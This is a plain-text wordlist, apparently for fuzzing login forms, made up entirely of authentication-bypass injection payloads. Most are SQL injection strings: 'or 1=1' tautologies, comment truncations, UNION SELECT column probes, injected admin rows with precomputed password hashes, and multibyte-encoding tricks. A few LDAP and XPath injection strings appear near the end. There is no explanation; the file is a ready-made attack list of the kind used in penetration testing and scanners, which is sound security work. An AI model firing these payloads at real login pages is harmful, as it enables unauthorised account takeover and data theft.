sql-injection-authentication-bypass.txt

"
" "
" #
" --
" AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
" OR "" = "
" OR 1 = 1 -- -
" UnION SELeCT 1,2,3,4,5`
" UnION SELeCT 1,2,3,4`
" UnION SELeCT 1,2,3`
" UnION SELeCT 1,2`
" UniON SElecT 1,2#
" UniON SElecT 1,2,3#
" UniON SElecT 1,2,3,4#
" UniON SElecT 1,2,3,4,5#
" UniON SElecT 1,2,3,4,5-- 2
" UniON SElecT 1,2,3,4-- 2
" UniON SElecT 1,2,3-- 2
" UniON SElecT 1,2-- 2
" or "" "
" or ""&"
" or ""*"
" or ""-"
" or ""="
" or ""^"
" or "1"="1
" or "1"="1"#
" or "1"="1"--
" or "1"="1"/*
" or "a"="a
" or "x"="x
" or 0=0 #
" or 0=0 --
" or 0=0 –
" or 1=1
" or 1=1 --
" or 1=1 –
" or 1=1#
" or 1=1--
" or 1=1/*
" or 1=1–
" or true--
""
"&"
"&""#
"&""-- 2
"&""/*
")
") #
") UniON SElecT 1,2#
") UniON SElecT 1,2,3#
") UniON SElecT 1,2,3,4#
") UniON SElecT 1,2,3,4,5#
") UniON SElecT 1,2,3,4,5-- 2
") UniON SElecT 1,2,3,4-- 2
") UniON SElecT 1,2,3-- 2
") UniON SElecT 1,2-- 2
") or "1"="1
") or "1"="1"#
") or "1"="1"--
") or "1"="1"/*
") or ("1"="1
") or ("1"="1"#
") or ("1"="1"--
") or ("1"="1"/*
") or ("a"="a
") or ("x")=("x
") or true--
")&""#
")&""-- 2
")&""/*
")&("
")) or (("x"))=(("x
")*""#
")*""-- 2
")*""/*
")*("
")-""#
")-""-- 2
")-""/*
")-("
")-- 2
")/*
")=""#
")=""-- 2
")=""/*
")=("
")UniON(SElecT(1),2)#
")UniON(SElecT(1),2)-- 2
")UniON(SElecT(1),2,3)#
")UniON(SElecT(1),2,3)-- 2
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4)-- 2
")UniON(SElecT(1),2,3,4,5)#
")UniON(SElecT(1),2,3,4,5)-- 2
")^""#
")^""-- 2
")^""/*
")^("
")oR 2 oR("
")oR 2#
")oR 2-- 2
")oR 2/*
")oR 2=2 oR("
")oR 2=2#
")oR 2=2-- 2
")oR 2=2/*
")oR true oR("
")oR true#
")oR true-- 2
")oR true/*
")oR"2"#
")oR"2"-- 2
")oR"2"/*
")oR"2"="2" LimIT 1#
")oR"2"="2" LimIT 1-- 2
")oR"2"="2" LimIT 1/*
")oR"2"="2"#
")oR"2"="2"-- 2
")oR"2"="2"/*
")oR"2"="2"oR("
")oR"2"=("2
")oR"2"LiKE"2"#
")oR"2"LiKE"2"-- 2
")oR"2"LiKE"2"/*
")oR"2"LiKE"2"oR("
")oR"2"LiKE("2
")oR"2"oR("
")oR("2
")oR(2)#
")oR(2)-- 2
")oR(2)/*
")oR(2)=(2)LimIT(1)#
")oR(2)=(2)LimIT(1)-- 2
")oR(2)=(2)LimIT(1)/*
")oR(2)=(2)oR("
")oR(2)=2#
")oR(2)=2-- 2
")oR(2)=2/*
")oR(2)LiKE(2)#
")oR(2)LiKE(2)-- 2
")oR(2)LiKE(2)/*
")oR(2)LiKE(2)oR("
")oR(2)oR("
")oR(true)#
")oR(true)-- 2
")oR(true)/*
")oR(true)oR("
")oR/**/2#
")oR/**/2-- 2
")oR/**/2/*
")oR/**/2/**/oR("
")oR/**/2=2#
")oR/**/2=2-- 2
")oR/**/2=2/*
")oR/**/2=2/**/oR("
")oR/**/true#
")oR/**/true-- 2
")oR/**/true/*
")oR/**/true/**/oR("
")||"2"="2"||("
")||"2"=("2
")||"2"LiKE"2"#
")||"2"LiKE"2"-- 2
")||"2"LiKE"2"/*
")||"2"LiKE"2"||("
")||"2"LiKE("2
")||"2"||("
")||("2
")||(2)LiKE(2)#
")||(2)LiKE(2)-- 2
")||(2)LiKE(2)/*
")||(2)LiKE(2)||("
")||2#
")||2-- 2
")||2/*
")||2=(2)LimIT(1)#
")||2=(2)LimIT(1)-- 2
")||2=(2)LimIT(1)/*
")||2=2#
")||2=2-- 2
")||2=2/*
")||2=2||("
")||2||("
")||true#
")||true-- 2
")||true/*
")||true||("
"*"
"*""#
"*""-- 2
"*""/*
"-"
"-""#
"-""-- 2
"-""/*
"-- 2
"/*
"="
"=""#
"=""-- 2
"=""/*
"UniON(SElecT(1),2)#
"UniON(SElecT(1),2)-- 2
"UniON(SElecT(1),2,3)#
"UniON(SElecT(1),2,3)-- 2
"UniON(SElecT(1),2,3,4)#
"UniON(SElecT(1),2,3,4)-- 2
"UniON(SElecT(1),2,3,4,5)#
"UniON(SElecT(1),2,3,4,5)-- 2
"^"
"^""#
"^""-- 2
"^""/*
"oR 2 oR"
"oR 2#
"oR 2-- 2
"oR 2/*
"oR 2=2 oR"
"oR 2=2#
"oR 2=2-- 2
"oR 2=2/*
"oR true oR"
"oR true#
"oR true-- 2
"oR true/*
"oR"2
"oR"2"#
"oR"2"-- 2
"oR"2"/*
"oR"2"="2
"oR"2"="2" LimIT 1#
"oR"2"="2" LimIT 1-- 2
"oR"2"="2" LimIT 1/*
"oR"2"="2"#
"oR"2"="2"-- 2
"oR"2"="2"/*
"oR"2"="2"oR"
"oR"2"LiKE"2
"oR"2"LiKE"2"#
"oR"2"LiKE"2"-- 2
"oR"2"LiKE"2"/*
"oR"2"LiKE"2"oR"
"oR"2"oR"
"oR(2)#
"oR(2)-- 2
"oR(2)/*
"oR(2)=(2)LimIT(1)#
"oR(2)=(2)LimIT(1)-- 2
"oR(2)=(2)LimIT(1)/*
"oR(2)=(2)oR"
"oR(2)=2#
"oR(2)=2-- 2
"oR(2)=2/*
"oR(2)LiKE(2)#
"oR(2)LiKE(2)-- 2
"oR(2)LiKE(2)/*
"oR(2)LiKE(2)oR"
"oR(2)oR"
"oR(true)#
"oR(true)-- 2
"oR(true)/*
"oR(true)oR"
"oR/**/2#
"oR/**/2-- 2
"oR/**/2/*
"oR/**/2/**/oR"
"oR/**/2=2#
"oR/**/2=2-- 2
"oR/**/2=2/*
"oR/**/2=2/**/oR"
"oR/**/true#
"oR/**/true-- 2
"oR/**/true/*
"oR/**/true/**/oR"
"or 1=1 or ""="
"||"2
"||"2"="2
"||"2"="2"||"
"||"2"LiKE"2
"||"2"LiKE"2"#
"||"2"LiKE"2"-- 2
"||"2"LiKE"2"/*
"||"2"LiKE"2"||"
"||"2"||"
"||(2)LiKE(2)#
"||(2)LiKE(2)-- 2
"||(2)LiKE(2)/*
"||(2)LiKE(2)||"
"||2#
"||2-- 2
"||2/*
"||2=(2)LimIT(1)#
"||2=(2)LimIT(1)-- 2
"||2=(2)LimIT(1)/*
"||2=2#
"||2=2-- 2
"||2=2/*
"||2=2||"
"||2||"
"||true#
"||true-- 2
"||true/*
"||true||"
%' or '0'='0
%00
%8C%A8%27 Or 1-- 2
%8C%A8%27 Or 1=1-- 2
%8C%A8%27) Or 1-- 2
%8C%A8%27) Or 1=1-- 2
%8C%A8%27)Or(1)-- 2
%8C%A8%27)||1-- 2
%8C%A8%27Or(1)-- 2
%8C%A8%27||1-- 2
%A8%27 Or 1-- 2
%A8%27 Or 1=1-- 2
%A8%27) Or 1-- 2
%A8%27) Or 1=1-- 2
%A8%27)Or(1)-- 2
%A8%27)||1-- 2
%A8%27Or(1)-- 2
%A8%27||1-- 2
%bf' Or 1-- 2
%bf' Or 1=1 -- 2
%bf') Or 1-- 2
%bf') Or 1=1 -- 2
%bf')Or(1)-- 2
%bf')||1-- 2
%bf'Or(1)-- 2
%bf'||1-- 2
'
' #
' '
' --
' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
' AND id IS NULL; --
' OR '' = '
' OR '1
' OR 'x'='x
' OR 'x'='x'#;
' OR 1 -- -
' OR 1=1 --+
' UNION ALL SELECT 1, @@version;#
' UNION ALL SELECT system_user(),user();#
' UNION select table_schema,table_name FROM information_Schema.tables;#
' UnION SELeCT 1,2,3,4,5`
' UnION SELeCT 1,2,3,4`
' UnION SELeCT 1,2,3`
' UnION SELeCT 1,2`
' UniON SElecT 1,2#
' UniON SElecT 1,2,3#
' UniON SElecT 1,2,3,4#
' UniON SElecT 1,2,3,4,5#
' UniON SElecT 1,2,3,4,5-- 2
' UniON SElecT 1,2,3,4-- 2
' UniON SElecT 1,2,3-- 2
' UniON SElecT 1,2-- 2
' and 'one'='one
' and 'one'='one–
' and 1='1
' and a='a
' and substring(password/text(),1,1)='7
' group by password having 1=1--
' group by userid having 1=1--
' group by username having 1=1--
' or         0=0 #
' or "
' or "a" or '
' or '' '
' or ''&'
' or ''*'
' or ''-'
' or ''='
' or ''^'
' or '1'='1
' or '1'='1'#
' or '1'='1'--
' or '1'='1'/*
' or '1′='1
' or 'a'='a
' or 'one'='one
' or 'one'='one–
' or 'x'='x
' or /* or '
' or 0=0 #
' or 0=0 --
' or 0=0 –
' or 1 or '
' or 1=1
' or 1=1 --
' or 1=1 LIMIT 1;#
' or 1=1 limit 1 -- -+
' or 1=1 –
' or 1=1#
' or 1=1--
' or 1=1/*
' or 1=1;#
' or 1=1–
' or 1]%00
' or a=a--
' or a=a–
' or true() or '
' or true--
' or uid like '%
' or uname like '%
' or user like '%
' or userid like '%
' or username like '%
' –
'#
'&'
'&''#
'&''-- 2
'&''/*
''
'''''''''''''UNION SELECT '2
')
') UniON SElecT 1,2#
') UniON SElecT 1,2,3#
') UniON SElecT 1,2,3,4#
') UniON SElecT 1,2,3,4,5#
') UniON SElecT 1,2,3,4,5-- 2
') UniON SElecT 1,2,3,4-- 2
') UniON SElecT 1,2,3-- 2
') UniON SElecT 1,2-- 2
') or '1'='1
') or '1'='1'#
') or '1'='1'--
') or '1'='1'/*
') or '1'='1--
') or ('1'='1
') or ('1'='1'#
') or ('1'='1'--
') or ('1'='1'/*
') or ('1'='1--
') or ('a'='a
') or ('a'='a and hi") or ("a"="a
') or ('x')=('x
') or ('x'='x
') or true--
')#
')&''#
')&''-- 2
')&''/*
')&('
')) or (('x'))=(('x
')*''#
')*''-- 2
')*''/*
')*('
')-''#
')-''-- 2
')-''/*
')-('
')-- 2
')/*
')=''#
')=''-- 2
')=''/*
')=('
')UniON(SElecT(1),2)#
')UniON(SElecT(1),2)-- 2
')UniON(SElecT(1),2,3)#
')UniON(SElecT(1),2,3)-- 2
')UniON(SElecT(1),2,3,4)#
')UniON(SElecT(1),2,3,4)-- 2
')UniON(SElecT(1),2,3,4,5)#
')UniON(SElecT(1),2,3,4,5)-- 2
')^''#
')^''-- 2
')^''/*
')^('
')oR 2 oR('
')oR 2#
')oR 2-- 2
')oR 2/*
')oR 2=2 oR('
')oR 2=2#
')oR 2=2-- 2
')oR 2=2/*
')oR true oR('
')oR true#
')oR true-- 2
')oR true/*
')oR'2'#
')oR'2'-- 2
')oR'2'/*
')oR'2'='2' LimIT 1#
')oR'2'='2' LimIT 1-- 2
')oR'2'='2' LimIT 1/*
')oR'2'='2'#
')oR'2'='2'-- 2
')oR'2'='2'/*
')oR'2'='2'oR('
')oR'2'=('2
')oR'2'LiKE'2'#
')oR'2'LiKE'2'-- 2
')oR'2'LiKE'2'/*
')oR'2'LiKE'2'oR('
')oR'2'LiKE('2
')oR'2'oR('
')oR('2
')oR(2)#
')oR(2)-- 2
')oR(2)/*
')oR(2)=(2)LimIT(1)#
')oR(2)=(2)LimIT(1)-- 2
')oR(2)=(2)LimIT(1)/*
')oR(2)=(2)oR('
')oR(2)=2#
')oR(2)=2-- 2
')oR(2)=2/*
')oR(2)LiKE(2)#
')oR(2)LiKE(2)-- 2
')oR(2)LiKE(2)/*
')oR(2)LiKE(2)oR('
')oR(2)oR('
')oR(true)#
')oR(true)-- 2
')oR(true)/*
')oR(true)oR('
')oR/**/2#
')oR/**/2-- 2
')oR/**/2/*
')oR/**/2/**/oR('
')oR/**/2=2#
')oR/**/2=2-- 2
')oR/**/2=2/*
')oR/**/2=2/**/oR('
')oR/**/true#
')oR/**/true-- 2
')oR/**/true/*
')oR/**/true/**/oR('
')||'2'='2'||('
')||'2'=('2
')||'2'LiKE'2'#
')||'2'LiKE'2'-- 2
')||'2'LiKE'2'/*
')||'2'LiKE'2'||('
')||'2'LiKE('2
')||'2'||('
')||('2
')||(2)LiKE(2)#
')||(2)LiKE(2)-- 2
')||(2)LiKE(2)/*
')||(2)LiKE(2)||('
')||2#
')||2-- 2
')||2/*
')||2=(2)LimIT(1)#
')||2=(2)LimIT(1)-- 2
')||2=(2)LimIT(1)/*
')||2=2#
')||2=2-- 2
')||2=2/*
')||2=2||('
')||2||('
')||true#
')||true-- 2
')||true/*
')||true||('
'*'
'*''#
'*''-- 2
'*''/*
'-'
'-''#
'-''-- 2
'-''/*
'--
'-- 2
'/*
'="or'
'='
'=' 'or' and '=' 'or'
'=''#
'=''-- 2
'=''/*
'=0--+
'LIKE'
'UniON(SElecT(1),2)#
'UniON(SElecT(1),2)-- 2
'UniON(SElecT(1),2,3)#
'UniON(SElecT(1),2,3)-- 2
'UniON(SElecT(1),2,3,4)#
'UniON(SElecT(1),2,3,4)-- 2
'UniON(SElecT(1),2,3,4,5)#
'UniON(SElecT(1),2,3,4,5)-- 2
'^'
'^''#
'^''-- 2
'^''/*
'oR 2 oR'
'oR 2#
'oR 2-- 2
'oR 2/*
'oR 2=2 oR'
'oR 2=2#
'oR 2=2-- 2
'oR 2=2/*
'oR true oR'
'oR true#
'oR true-- 2
'oR true/*
'oR'2
'oR'2'#
'oR'2'-- 2
'oR'2'/*
'oR'2'='2
'oR'2'='2' LimIT 1#
'oR'2'='2' LimIT 1-- 2
'oR'2'='2' LimIT 1/*
'oR'2'='2'#
'oR'2'='2'-- 2
'oR'2'='2'/*
'oR'2'='2'oR'
'oR'2'LiKE'2
'oR'2'LiKE'2'#
'oR'2'LiKE'2'-- 2
'oR'2'LiKE'2'/*
'oR'2'LiKE'2'oR'
'oR'2'oR'
'oR(2)#
'oR(2)-- 2
'oR(2)/*
'oR(2)=(2)LimIT(1)#
'oR(2)=(2)LimIT(1)-- 2
'oR(2)=(2)LimIT(1)/*
'oR(2)=(2)oR'
'oR(2)=2#
'oR(2)=2-- 2
'oR(2)=2/*
'oR(2)LiKE(2)#
'oR(2)LiKE(2)-- 2
'oR(2)LiKE(2)/*
'oR(2)LiKE(2)oR'
'oR(2)oR'
'oR(true)#
'oR(true)-- 2
'oR(true)/*
'oR(true)oR'
'oR/**/2#
'oR/**/2-- 2
'oR/**/2/*
'oR/**/2/**/oR'
'oR/**/2=2#
'oR/**/2=2-- 2
'oR/**/2=2/*
'oR/**/2=2/**/oR'
'oR/**/true#
'oR/**/true-- 2
'oR/**/true/*
'oR/**/true/**/oR'
'or 1=1 or ''='
'or contains(.,'adm') or'
'or contains(name,'adm') or'
'or position()=2 or'
'or string-length(name(.))<10 or'
'or'1=1
'or'1=1′
'||'2
'||'2'='2
'||'2'='2'||'
'||'2'LiKE'2
'||'2'LiKE'2'#
'||'2'LiKE'2'-- 2
'||'2'LiKE'2'/*
'||'2'LiKE'2'||'
'||'2'||'
'||(2)LiKE(2)#
'||(2)LiKE(2)-- 2
'||(2)LiKE(2)/*
'||(2)LiKE(2)||'
'||2#
'||2-- 2
'||2/*
'||2=(2)LimIT(1)#
'||2=(2)LimIT(1)-- 2
'||2=(2)LimIT(1)/*
'||2=2#
'||2=2-- 2
'||2=2/*
'||2=2||'
'||2||'
'||true#
'||true-- 2
'||true/*
'||true||'
) or '1′='1–
) or ('1′='1–
*
*)(&
*)(|(&
*)(|(*
*))%00
,
-- or #
/
//
0"<"2
0"<"2"#
0"<"2"-- 2
0"<"2"/*
0")<"2#
0")<"2-- 2
0")<"2/*
0")<("2
0'<'2
0'<'2'#
0'<'2'-- 2
0'<'2'/*
0')<'2'#
0')<'2'-- 2
0')<'2'/*
0')<('2
1' or 1.e(1) or '1'='1
1'or’1'=’1
1*56
1-false
1-true
1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
1′) and '1′='1–
;
=
==
AND 0
AND 1
AND false
AND true
OR 1=1
Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
Pass1234." and 1=0 union select "admin",sha("Pass1234.
Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
\
\\
`
``
admin" #
admin" --
admin" or "1"="1
admin" or "1"="1"#
admin" or "1"="1"--
admin" or "1"="1"/*
admin" or 1=1
admin" or 1=1#
admin" or 1=1--
admin" or 1=1/*
admin"#
admin") or "1"="1
admin") or "1"="1"#
admin") or "1"="1"--
admin") or "1"="1"/*
admin") or ("1"="1
admin") or ("1"="1"#
admin") or ("1"="1"--
admin") or ("1"="1"/*
admin")#
admin")-- 2
admin"-- 2
admin"/*
admin"or 1=1 or ""="
admin' #
admin' --
admin' and substring(password/text(),1,1)='7
admin' or '
admin' or '1'='1
admin' or '1'='1'#
admin' or '1'='1'--
admin' or '1'='1'/*
admin' or '1'='2
admin' or 1=1
admin' or 1=1#
admin' or 1=1--
admin' or 1=1/*
admin'#
admin') or '1'='1
admin') or '1'='1'#
admin') or '1'='1'--
admin') or '1'='1'/*
admin') or ('1'='1
admin') or ('1'='1'#
admin') or ('1'='1'--
admin') or ('1'='1'/*
admin')#
admin')-- 2
admin')/*
admin'-- 2
admin'/*
admin'or 1=1 or ''='
admin)(!(&(|
admin)(&)
admin))(|(|
admin’–
and 1=1
and 1=1–
ffifdyop
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi” or 1=1 –
hi” or “a”=”a
hi”) or (“a”=”)
like '%'
or 0=0 #
or 0=0 --
or 0=0 –
or 1=1
or 1=1#
or 1=1--
or 1=1/*
or 1=1–
or true
or true--
pwd
pwd)
pwd))
‘ or 0=0 #
‘ or 1=1 –
‘ or 1=1–
‘ or a=a–
‘ or ‘x’='x
‘) or (‘a’='a
‘) or (‘x’='x
“) or (“a”=”a
” or 0=0 #
” or 0=0 –
” or 1=1–
” or “a”=”a
” or “x”=”x